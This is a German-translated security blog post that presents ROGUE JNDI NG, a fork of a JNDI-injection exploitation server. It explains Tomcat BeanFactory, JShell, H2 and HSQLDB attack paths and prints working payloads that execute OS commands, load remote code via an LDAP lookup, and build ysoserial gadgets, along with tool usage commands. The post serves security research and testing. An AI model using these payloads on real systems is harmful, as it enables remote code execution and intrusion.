JNDI Mind Tricks
Mehr Shells in Java Anwendungen durch ROGUE JNDI NG
- Name
- Frederic Linn
Dies ist eine übersetzte Version. Das englische Original finden Sie hier.
Injection-Angriffe, die über das Java Naming and Directory Interface (JNDI) ausgeführt werden können, sind seit Jahren bekannt. Die meisten Sicherheitsexperten kamen mit JNDI in Kontakt, als sie sich mit der berüchtigten Log4Shell-Schwachstelle befassen mussten. Diese basiert drauf, die log4j-Bibliothek dazu zu bringen, einen JNDI-Aufruf an ein vom Angreifer kontrolliertes System zu senden.
Im Laufe der Jahre war der Missbrauch von JNDI ein wichtiger Bestandteil des Java-Exploit-Toolkits. Dies gilt umso mehr, nachdem die üblichen Deserialisierungs-Angriffspunkte in Java 16/17 entfernt wurden (siehe JEP 396).
Tools zur Ausnutzung (marshalsec, JNDI-Exploit-Kit, Rogue JNDI) gibt es schon seit langem, sie werden jedoch größtenteils nicht mehr gewartet. Wir haben uns daher entschlossen, Rogue JNDI zu forken und selbst zu pflegen (Ehrenwort).
In diesem Beitrag stellen wir die Änderungen und Ergänzungen vor, die wir vorgenommen haben und präsentieren:
🌟 ROGUE JNDI NG 🌟
Wir setzen einige Vorkenntnisse über JNDI voraus, gehen aber im nächsten Abschnitt kurz auf die allgemeinen Exploitations-Mechanismen ein. Falls JNDI neu für dich sein sollte: Alvaro Muñoz und Oleksandr Mirosh gaben auf der Black Hat 2016 eine sehr gute Einführung in das Thema.1
Exploitations-Mechanismen
Um JNDI-Lookups auszunutzen, haben wir zwei Möglichkeiten:
- Der Server des Angreifers antwortet direkt mit einem serialisiertes Objekt (z. B. eine mit ysoserial generierte Payload).
- ein Reference-Objekt zurückgeben, das alle erforderlichen Informationen für die Erstellung über eine
Factory
Klasse enthält
Option zwei ist besonders interessant. In älteren Java-Versionen war es möglich, mit einer Reference
auf eine vom Angreifer kontrollierte Remote-Codebase zu verweisen. Diese enthält den Java-Bytecode der ObjectFactory
-Implementierung, welche verwendet werden soll.
Die verwundbare Anwendung würde dann den Bytecode von der angegebenen Codebase abrufen und davon eine neue Instanz erstellen.
Oracle hat in Version 11.0.1 / 8u191 Einschränkungen für Remote-Codebases eingeführt. Das bedeutet, dass die System-Eigenschaft com.sun.jndi.ldap.object.trustURLCodebase
manuell auf true
gesetzt werden muss, wodurch die Verwendung dieser generischen Technik unter normalen Umständen verhindert wird.
Ohne das Laden von Remote-Klassen hängt die Ausnutzung stark von den ObjectFactory
-Klassen ab, die sich bereits im Klassenpfad des Zielsystems befinden.
Michael Stepankin (artsploit) war der erste, der die Idee hatte, diese lokalen Implementierungen zu auszunutzen. Er schrieb darüber hier und lieferte gleich eine Implementierung (Rogue JNDI) mit.
Die am weitesten verbreitete und daher interessanteste ObjectFactory
ist Tomcats BeanFactory
. Es handelt sich um eine Factory-Klasse, die ein wenig zu lax mit Reflection arbeitet.
Im Laufe der Zeit wurden mehrere zusätzliche ObjectFactory
Klassen wie com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
entdeckt und dem Rogue JNDI-Projekt hinzugefügt.
Darf ich mich vorstellen: ROGUE JNDI NG
In den folgenden Abschnitten werden die Änderungen und Ergänzungen von ROGUE JNDI NG erläutert.
Tomcat
Wie oben erwähnt, ist Tomcat mit seiner BeanFactory
nach wie vor ein beliebtes Ziel für JNDI-Injections.
Michael Stepankin fand heraus, dass diese Klasse verwendet werden kann, um die Auswertung einer Java-Expression aufzurufen. Dies wurde verwendet, um die eval
-Methode der internen JavaScript(!)-Laufzeitumgebung aufzurufen, die dann zur Ausführung von beliebigem Code verwendet werden kann.
Seit der ursprünglichen Veröffentlichung von Rogue JNDI hat sich viel geändert, daher waren Anpassungen unsererseits erforderlich. Wir stellen drei zusätzliche Tomcat-Endpunkte bereit, die sich mit verschiedenen Java- und Tomcat-Versionen befassen.
ELProcessor für Tomcat 10
Der ursprüngliche Exploit von artsploit verwendet javax.el.ELProcessor.eval()
, um die folgende Payload auszuwerten:
"".getClass().forName("javax.script.ScriptEngineManager")
.newInstance().getEngineByName("JavaScript")
.eval("java.lang.Runtime.getRuntime().exec(<Betriebssystembefehl>)");
Oracle hat hat Java EE 2017 an die Eclipse Foundation übergeben. Da der Namespace javax
von Oracle als Marke eingetragen ist, war eine Änderung erforderlich.
Dies bedeutete, dass die Expression Language in Tomcat 10 in ein neues Paket (jarkarta.el
) verschoben wurde.
Hier ist der relevante Teil des alten Endpunkts:
|
|
Und hier ist unser neuer Endpunkt:
|
|
JShell for Java >= 15
Die Nashorn JavaScript Engine ist (oder besser gesagt war) Teil der Java Runtime. Sie ermöglicht die Ausführung von beliebigem JavaScript-Code innerhalb der Java Virtual Machine. Dieser JavaScript-Code kann zur Interaktion mit der Java-Umgebung verwendet werden, beispielsweise durch die Nutzung vorhandener Java-Klassen und -Methoden.
Das Ausnutzen der Nashorn JavaScript Engine ist eine bekannte Technik, die in verschiedenen Exploits zum Einsatz kommt. Die Engine wurde jedoch (nicht aus Sicherheitsgründen) in Java 15 entfernt.
Wie bereits erwähnt, verwendete auch die Tomcat-Payload von Michael Stepankin die Nashorn Engine, um Code auszuführen:
|
|
Da Nashorn entfernt wurde, funktioniert die ursprüngliche Payload von Rogue JNDI nicht auf einem Tomcat-Server, der unter Java 16 oder neuer ausgeführt wird. Glücklicherweise gibt es seit Java 9 eine gleichwertige Alternative.
Wie in einem Code White Blog Post beschrieben, können wir JShell
anstelle von ScriptEngineManager
verwenden, um beliebigen (Java-)Code auszuführen.
Unsere JShell Payload sieht wie folgt aus:
|
|
Es sind auch komplexere Payloads möglich, siehe Abschnitt “Allgemeine Skriptunterstützung” weiter unten.
Wir bieten zwei zusätzliche Endpunkte für Tomcat (<10 und >=10), die JShell
verwenden.
BeanFactory Patch
Tomcat hat die BeanFactory in den folgenden Versionen schlussendlich überarbeitet:
- 10.1.x for 10.1.0-M14 aufwärts
- 10.0.x for 10.0.21 aufwärts
- 9.0.x for 9.0.63 aufwärts
- 8.5.x for 8.5.79 aufwärts
Dies wurde durch die Entfernung des ursprünglich als Verbesserung hinzugefügten Attributs forceString
erreicht.
Hier ein Zitat aus dem Commit, mit dem die Funktion eingeführt wurde:
If a bean property exists […] that we don’t have a string conversion for, but the bean actually has a method to set the property from a string, allow to provide this information to the BeanFactory.
New attribute “forceString” taking a comma separated list of items as values. Each item is either a bean property name (e.g. “foo”) meaning that there is a setter function “setFoo(String)” for that property. Or the item is of the form “foo=method” meaning that property “foo” can be set by calling “method(String)”.
Zusammenfassend gesagt konnte man also direkt in die Erstellung (spezifischer: in das Setzen von Eigenschaften) eines Objektes eingreifen.
Die Fähigkeit, eine beliebige Methode eines Objekts aufzurufen, die ein String-Argument akzeptiert, ermöglichte artsploits ursprünglichen Exploit:
|
|
Wie wir sehen, wird ELProcessor.eval()
mit einem vom Benutzer bereitgestellten String aufgerufen.
Ohne forceString
können wir keine beliebigen Methoden mehr aufrufen:
If the bean provides an alternative setter with the same name that does take a String, the BeanFactory will attempt to use that setter.
(4. Configure Tomcat’s Resource Factory, https://tomcat.apache.org/tomcat-11.0-doc/jndi-resources-howto.html)
(“Wenn eine Bean
eine alternative Setter-Methode bereitstellt, die einen String entgegen nimmt, dann wird die BeanFactory
versuchen, diese Methode aufzurufen.”)
Ausführung von Angreifercode mit H2 Init Skript
Wie bereits in der Einleitung erwähnt, wurden wichtige Deserialisierungs-Angriffspunkte wie TemplatesImpl in neueren Java-Versionen entfernt. Folglich müssen Angreifer ihren Fokus verlagern.
In einem unserer vorherigen Posts haben wir über den Missbrauch von JDBC-Verbindungen gesprochen:
[Deshalb] fokussieren wir uns auf DataSource Implementierungen. Das Interface setzt die Implementierung einer
getConnection()
Methode voraus, welche wir als finales Glied unserer angepassten CommonBeanutils-Kette verwenden können.
Eine DataSource
mit der Methode getConnection()
ist ein ideales Ziel für vorhandene Gadget-Ketten wie CommonsBeanutils1
, die den Aufruf einer beliebigen getXXX()
-Methode für ein serialisierbares Objekt ermöglichen.
Die vorhandenen Deserialisierungs-Gadgets in ysoserial können daher so geändert werden, dass eine ausgehende Datenbankverbindung erstellt wird. Dies erfordert eine serialisierbare DataSource-Instanz, die als Teil des Gadgets übergeben wird. Durch den Aufruf der Methode getConnection()
für diese Instanz wird die Datenbankverbindung initialisiert.
Im Fall von H2 ist es jedoch nicht so einfach. Der Aufruf von getConnection()
einer deserialisierte JdbcDataSource
schlägt aufgrund eines Aufrufs von debugCodeCall fehl.
Deshalb müssen wir die Indirektion über JDBC-Verbindungspool-Bibliotheken wie Tomcat JDBC oder HikariCP vornehmen.
Der genaue Ablauf des Angriffs sieht dann wie folgt aus:
- Den JDBC-Verbindungs-String eines
DataSource
-Objekts einer Verbindungspool-Bibliothek (!) auf denh2
Endpunkt von ROGUE JNDI NG ausrichten (dies ist die Payload für den nächsten Schritt) - (Unsichere Deserialisierung ausnutzen)
- Die Anwendung führt einen JNDI-Lookup aus, um die Verbindung abzurufen
- Die Anwendung erstellt eine neue
JdbcDataSource
-Instanz unter Verwendung derH2 DataSource object factory
und der vom JNDI-Lookup erhaltenen Eigenschaften - Die Anwendung ruft
getConnection()
für die erstellte Instanz auf - Die Anwendung ruft das
INIT
-Skript (in den Eigenschaften von Schritt 4 angegeben) über HTTP von ROGUE JNDI NG ab und führt es aus H2
unterstütztJava
Code inSQL
-> Code vom Angreifer wird ausgeführt
Hier das bereitgestellte Skript:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
Runtime.getRuntime().exec(cmd);
return "";
}
$$;
CALL SHELLEXEC('<attacker provided command>')
Ausführung von Angreifercode mit HSQLDB und Tomcat JDBC
Einige JDBC-Verbindungspool-Bibliotheken bieten ähnliche Funktionen wie das oben genannte H2 INIT Skript.
Mit diesem Wissen können wir eine Schwachstelle in HSQLDB auszunutzen. Diese Schwachstelle bietet uns die Möglichkeit, beliebige statische Methoden jeder Java-Klasse im Klassenpfad des Ziels aufzurufen. Sie wurde in Version 2.7.1 behoben (siehe CVE-2022-41853).
Unser Endpunkt stellt ein org.apache.tomcat.jdbc.pool.DataSourceFactory
Objekt bereit, das das initSQL
Attribut enthält:2
CALL "java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase', 'true');
CALL "javax.naming.InitialContext.doLookup"('ldap://rogue-jndi:1337/o=reference');"));
Zuerst setzen wir trustURLCodebase = true
. Danach können wir eine Remote-Klasse laden, als wären wir wieder im Jahr 2018.3
Interessanterweise funktioniet dies nur, wenn ein tatsächlicher Datenbankserver (im Gegensatz zu einer In-Memory-Datenbank) ausgeführt wird. Aus diesem Grund müssen wir beim Starten von ROGUE JNDI NG eine gültige jdbc-url
angeben.
Unterstützung von Generischen Deserialisierungs-Payloads
Anstatt Endpunkte für jede bekannte Gadget-Kette zu erstellen, haben wir uns für einen generischen Mechanismus entschieden. Wir lesen eine serialisierte Klasse aus einer Datei und senden diese “inline” (siehe Exploitations-Mechanismus 1 oben).
Viele Leute pflegen ihren eigenen ysoserial-Fork. In dieser Situation ist es notwendig, nicht an die Standard-Gadget-Ketten gebunden zu sein.
Hier ist ein Beispiel dafür, wie man eine Payload erstellt:4
# Java version: 17.0.12-amz
$ java --add-opens java.base/java.util=ALL-UNNAMED -jar target/ysoserial-all.jar CommonsCollections6 "touch /usr/local/tomcat/temp/pwn.txt" > commonscollections6.ser
Das ist der neue Endpunkt:
|
|
Wie zu sehen, müssen wir die Option -generic-payload-path
bereitstellen. Danach kann die Payload über ldap://rogue-jndi:1337/o=generic
abgerufen werden.
# Wir nehmen an, dass unsere Applikation gebaut wurde und dass $PWD = root vom rogue-jndi-ng Repository ist.
$ java -jar target/RogueJndi-1.1.jar --generic-payload-path "/path/to/payload.ser"
Allgemeine Skriptunterstützung
In Rogue JNDI war es nur möglich, einen Betriebssystembefehl anzugeben, der in eine feste JavaScript-/Groovy-Payload integriert wird. Wir haben die Möglichkeit hinzugefügt, stattdessen eine Skriptdatei anzugeben, was komplexere Payloads ermöglicht.
Nutzer können JavaScript (/o=tomcat*
), Groovy (/o=groovy
) and Java (/o=tomcat*-jshell
) Dateien bereitstellen.
Nashorn Payload
Hier ein Beispiel einer “reverse shell”:
|
|
Hier die Sicht des Angreifers:
|
|
JShell Payload
JShell
is beim Aufruf innerhalb eines Programms auf einen kompletten Quellcode-Ausschnitt limitiert.5 Wir können diese Limitierung mithilfe eines anonymen Runnables umgehen.
Im folgenden Bespiel werden der ProcessBuilder
benutzt und Output erzeugt:
|
|
Mit so viel Flexibilität sind der Fantasie keine Grenzen gesetzt!
Testen
Alle Gadgets werden dank der Testcontainer-Bibliothek in authentischen Umgebungen getestet, was uns die Gewissheit gibt, dass sie wie erwartet funktionieren. Die als Grundlage verwendeten anfälligen Anwendungen sind hier zu finden.
Zum Abschluss schauen wir uns anhand eines (JShell-)Beispiels an, wie eigene Skripte getestet werden können.
Zunächst muss der Testcontainer gestartet werden:
docker run -it -p 8080:8080 ghcr.io/thegebirge/jndi-outcast/tomcat-10-jshell:latest
Nach dem clonen und bauen des ROGUE JNDI NG repos kann die Applikation gestartet werden:
java -jar target/RogueJndi-1.1.jar --jshell-payload-path "/pfad/zu/repo/rogue-jndi-ng/src/main/resources/payload.java"
Nun muss nur eine Anfrage an die anfällige Applikation im Container gemacht werden:
curl "http://localhost:8080/tomcat-10-jshell-1.0-SNAPSHOT/lookup?resource=ldap://host.docker.internal:1389/o=tomcat10-jshell"
Es sollten die Skript-Ausgaben im Terminal, in dem der Container läuft, zu sehen sein.
Quellenangaben und Danksagungen
- BlackHat Präsentation von Alvaro Muñoz und Oleksandr Mirosh (Englisch): https://www.youtube.com/watch?v=Y8a5nB-vy78
- Der zugehörige Artikel (Englisch): https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
- Artikel von Moriz Bechler, der eine grobe Chronologie von JNDI Schwachstellen beinhaltet (Englisch): https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection
- Artikel von Michael Stepankin über JNDI Exploitation (Englisch): https://www.veracode.com/blog/research/exploiting-jndi-injections-java
- Unser vorheriger Artikel über Java 17 Deserialisierung: https://mogwailabs.de/de/blog/2023/04/look-mama-no-templatesimpl
- Vielen Dank an Stephanie Klepacki auf Unsplash für das Titelbild.
Sie haben auch einen Artikel mit mehr Details veröffentlicht. ↩︎
Unser respository beinhaltet auch ein Beispiel für HikariCP. ↩︎
Diese Technik wurde zuerst von b1u3r gezeigt, siehe die Präsentation. ↩︎
Falls die
--add-opens
Option unbekannt ist, gibt es mehr details im post von frycos. ↩︎Das Zitat kann hier gefunden werden. Die Kommandozeilen-Version von JShell unterstützt auch fortgeschrittene Verwendung. ↩︎